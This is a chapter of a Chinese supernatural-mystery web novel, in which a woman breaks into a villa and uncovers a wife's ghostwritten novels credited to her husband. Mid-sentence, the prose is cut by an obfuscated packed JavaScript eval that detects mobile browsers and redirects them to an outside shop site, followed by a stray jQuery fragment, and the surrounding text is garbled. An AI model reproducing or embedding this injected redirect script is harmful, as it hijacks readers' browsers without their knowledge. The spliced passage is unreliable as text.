"你觉得她是个怎么样的人？"岑思衡曾问过方知意这个问题。
具体问的是谁，时间拉长下，早已忘了是谁。
方知意想了想："撇除周围评价、刻板印象、个人偏见等等因素。客观来说，我不认识她。"
哪怕岑思衡与方知意是多年好友，但她们也只接触过对方作为朋友那一面。
十年时间，看似很长，却无法像拉长的卷尺一样丈量一个人。
何况，只是相识一晚的安湖……
不对，她为什么肯定是安湖出现了问题？
怎么不是不留痕，不是她们居住的周围？
第六感比任何推论都要来得更快更猛烈。
岑思衡望着已经失去踪迹的长路，又望向那栋亮着灯的小别墅。
楼上拉着厚重窗帘，一丝光也透不出。
米白色仿欧式装修，平直的屋顶矗立在围墙里，像一块白碑。
她走回那条上坡路，犹豫许久，摁下门铃。
"叮咚——"
"叮咚，叮咚。"
接连三声都无人回应。
路过巡逻的保安虎视眈眈，手中电筒停在墙上许久不动。
岑思衡想了想，拿出工具，假装接通后强制刷进门。
曾经住过高档小区的经历，换到现在，相当于有着丰富的作案经验。
她没看保安一眼，在口袋里换了副趁手的，再次强行刷入，理直气壮进了人家的屋子。
这次，里面不再有安湖等着。
有的，只是二楼放着舒缓的音乐，除此以外，再无杂音。
“不留痕？”岑思衡故意大声喊。
无人回应。
钢琴曲还在继续，屋内静悄悄。
残余的饭菜香气缠绕安湖留下的味道在这片空间静静消散。
岑思衡沿着扶手梯慢慢往上走，似有若无的哭泣从紧闭的门后传来。
有人在里面敲门。
一下。
两下。
三下。
“不留痕？”她小声询问，“你在里面吗？”
回答她的仍是夹杂哭泣的音乐，还有不断撞击木头发出的规律声响。
听了会，岑思衡不再犹豫，翻出撬锁工具捅入锁眼，在听到里边弹簧发出弹响时，她用力往右拧动，房门应声而开。
满室书、墨、药混成令人舌尖发苦的气味，仿佛熬成了一锅中药，秋夜将它们吹凉，望见不速之客的那刻，尖啸着直往人脸上泼。
“哗啦啦啦——”
手稿被对流风卷起，铺出满地雪花，誓要将倒在地上的人埋进纸堆。
在这片混乱中，她看到了！
看到了！
在他背后！
在不留痕背后！
瞳孔骤然紧缩，瞬息间，她忘记了呼吸，忘记了躲避，忘记了自己接下来该做什么。
强风将她拉入，“砰”一声巨响，重重关上房门。
插在锁孔里的工具叮当乱撞，可她已经顾不得它了！
眼前，面前，身前，全是纸稿。
在风灌满的房间，那些纸稿在正中跳起死亡之舞。
它温柔时，让人发觉四季无虞，生命安好。
它残暴时，像要把一切都投入碎纸机，粉碎纸张，粉碎文字，粉碎一切，包括——她。
在这纸片雪暴中，她清晰看到遗落在书架旁的身影，不是安湖，不是不留痕，它不是人！只是文字和碎屑拼凑出的人形。
为什么是人形？！
它不会回答。
惊惧之际，对面窗户猛然拉得更开，纤白人影轻灵如鹿般跃入，熟悉的灰色瞳仁映出被风固在门上的身形，眼下红痣在台灯晕染中摇摇欲坠。
“岑思衡！”渡泠惊声。
碎纸裹出的人形在他出声的瞬间，蓦地朝被喊到名字的人身上砸去。
“啪！”
人形溃散。
书房所有动态在这时点下了暂停键。
岑思衡看到时间在半空中泛黄，蜂蜜还未完全融入清水那般，丝丝缕缕流动，搅拌它的，是风。
天旋地转中，岑思衡被倒挂在墙上，整个视觉就此颠倒。
黑夜转为白昼，秋日转为四季，将四四方方的窗户切割成六份，再将晴天、阴天、雨天嵌入，不断划分，终于化成一整幅关于时间与季节的画面。
浓缩了十年的画面。
安湖的身影在书房穿梭，逡巡，查阅，分化出无数身影，谁都不曾惊扰。时间在她身上，如同朦胧的纱布，凉凉匝过，流遍全身。
直到安湖坐在红木椅上，拿出纸张，执笔写下第一个字。
残留在时间里的身影溃散，化作一行行纤细却有骨的笔划。
一竖、一撇、一捺……
藏在温柔里的剑锋力透纸背。
她组合这些笔划，写成文字，一部分留在纸上，一部分如五线谱般流出笔尖，一圈接一圈，环绕书房，充斥这片空间。
岑思衡倒看着这些曾经熟悉的文字，转换视觉后竟觉得无比陌生。她吃力地一字一句阅读，越看，她心越沉。
《新城北》，作者：不留痕。
这天，我像往常一样，坐上了通往公司的电车。天气预报说，今日是晴天，却在半途中下起了雨。没有带伞，我在屋檐下躲雨时，不经意间望向对面咖啡厅，里面也有人朝我望来，她是……
《一年一度重逢》，作者：不留痕
他是个杀人犯，也是我男朋友。八年前，我们曾在城东区租房，隔壁男人很友好，租房第一天就送了我们水果，男朋友说，不要跟这种人交往过深。我问他为什么，他说，那个男人不像个好人……
《在你背后》，作者：不留痕。
2016年，天晴，我妻子叫我出门买些日用品，比如，孩子要用的纸尿裤。老天，她都囤了一个衣柜的纸尿裤了，她不记得了吗？我问她，她却表现地很惊讶，似是完全没有印象……
记忆繁琐，要拼命找才能找出遮盖后的破绽。
岑思衡恍惚间想起她翻阅方知意留藏的书籍。
不留痕曾经写过什么？
她不知道，方知意却知道得一清二楚。
同频的作者吸引着同频读者，相隔时间与空间，自己作为一个局外人，又该怎么知晓不留痕的生平？
“不过，他沉寂过很长一段时间，是从第五部《在你背后》这本开始，慢慢火起来的，文风也开始稳定很多。”
第五部？
第五部！
岑思衡艰难凝动身躯，在堆叠的文字中寻找曾经留下的痕迹。
她不知道自己为什么要找，但安湖的文字会带领她找到出去的路。
第一部，无声无息
第二部，寂寂无名。
第三部，稍有起色。
第四部，跌入谷底。
第五部，直到第五部。
"你怎么又不写了呀？"
"写不出来。"
对话在文字堆里响起。
"这个开头挺好的呀，悬疑不就是越日常越平凡，剧情反转起来时才越刺激吗？"
"你懂个什么，写你的霸总王爷文去，别在这指手画脚。"
"你太过分了吧？我虽然不写，也看过书啊。"
"说你你还不乐意，有本事你写，你接着写，我看看你能写出什么名堂。自己都是个扑街，可别把我的主角写成和杀人犯谈上了！满脑子情情爱爱。"
安湖憋着一口气。
夙兴夜寐，推翻他布下的整条大纲，推翻剧情人设，从头再来。
这是安湖写过的第一部悬疑小说，亦是她验证成功的第一部，证明自己的第一部。
先是在过往读者圈里被小范围推荐，后来越来越多自来水加入，一条条小溪改道涌入，聚集在同一片水域，汇成一大片湖。
可是——
"让我们恭喜不留痕！荣获新锐文学奖！"
漫天礼花洒下，聚光灯照亮台上的人。
真正的作家在台下，被黑暗吞没。
"你不是说，你改了吗！为什么要拿我的稿去评奖！"
"你嚷嚷什么，有本事你去外面嚷嚷，看看外面有谁信。安湖，你别忘了，你失业在家写书的四年多，是我家在养你。"
"算了吧，安湖。"安湖一向敬重的公公也出声了，"夫妻本是一体，你们这样多不体面。你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791610|207902||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
要实在想要，我也给你运作下，先去写本类似的吧。"
她会写，她怎么不会写。
就算不靠他们家，她也能拿回自己的文字。
命运却比安湖想象中残酷，转换悬疑赛道后，她被评没有灵气、越写越难看、根本看不懂。差评在后边追着咬，生存压力与自证在前方压下，她快被挤得喘不过气。
偶有新人路过，留下一句评论后再没见过第二次。
安湖有点认命了，在不知几年几月的午后，再次坐下，面对不留痕留下的废稿，细细写下一本接一本的故事。
她好像……
只能穿着丈夫给她缝制的皮衣，才能让别人看到她了……
一行文字飘过。
【在你背后的我，确定是我吗？】
书页翻卷，岑思衡看到碎纸条上的字。
[他在她妻子日常吃的药里做了些手脚，那是他从同学那里一点点攒出来的，能够致幻。为了这个孩子，他筹谋了快五年。]
[必须偷走这个孩子，如果没有这个孩子，他就什么都暴露了！苦心经营的身份地位，怎么能给她抢过去！]
"其实初衷真的很简单。有个同性恋骗婚，为了得到这个孩子，他费尽心思筛选了一个贤良淑德的女孩，还是名校毕业的。"
[他成功了，孩子归他了。]
[她也成功了，孩子，会彻底到她手里。]
我抢不回来我的孩子了，那么，你也别想得到。
我会带着它离开，你也别想活着再开口。
它，必须是我的。
钢笔墨尽了。
故事停下了。
安湖用力用笔尖研磨出一个句号。
覆盖在她身上的文字渐渐被血色湮没，越来越浓，越来越看不清她的面目。
岑思衡望着坐在纸笔前的人形，红色文字漶漫，长出碎纸边缘。
终于，她忍不住，大声呼喊那个名字，真正的名字。
"安湖！"
碎纸漫天飞扬。
时间倒流，文字尽数流回钢笔。
在剧烈的变化中，岑思衡终于挣脱来自文字的束缚，奋力扑过去，
碎纸人崩裂，在她眼中散成白色沙砾。
文字漂浮在半空，层层叠叠，如古代的符咒，覆盖眼前存在的一切。
书桌、书架、琉璃台灯、挂画，全部的全部，都浸润了流动的文字。
"岑思衡！"
有人在喊她。
循声望去，是一本空白的书。
关于她的故事在纸上迅速书写。
[我叫岑思衡，半年前，父亲卷款出逃后母亲也跟着失踪，只留下……]
只来得及写下这行字，岑思衡倏然拿起笔，狠狠扎入这本书。
鲜血漫出，浸染雪白书页。
渡泠熟悉的面容覆在陌生的身体里，死死握住了她的手。
他说："把她留下。"
岑思衡不可思议望着他。
一滴血落入碎纸。
狂风卷进，把里头所有物件掀翻。
血色文字汹涌覆面，腥寒泠泠，密匝匝如暴雨兜头淋下，每次呼吸都伴随血水喷吐。
岑思衡用双手拼命划开文字堆造成的屏障，被它们尖端扎伤也不能停止。
她怕动作慢了，就真的成了书里的人，成了一行被文字编写的内容。
终于，在快力竭时，面前终于被她撕开一线光。
越来越大，越来越亮。
直至站定在机场光洁如新的瓷砖地板。
浑身被文字划破的岑思衡来不及多想，跑到落地窗前。
广播忽然在这时响起："女士们，先生们，前往爱尔兰的航班即将关闭舱门，请未登机的旅客尽快由B2登机口登机。"
那辆飞机就在窗外，还没来得及起飞！
只要她开口，只要她亮出公司证件，就能阻止。
但岑思衡停住了。
在这种时候，她想起了《在你背后》的结局。
妻子带着孩子，飞向了自由地。
那么你呢？
安湖。
你会像故事里的妻子那样得到自由吗？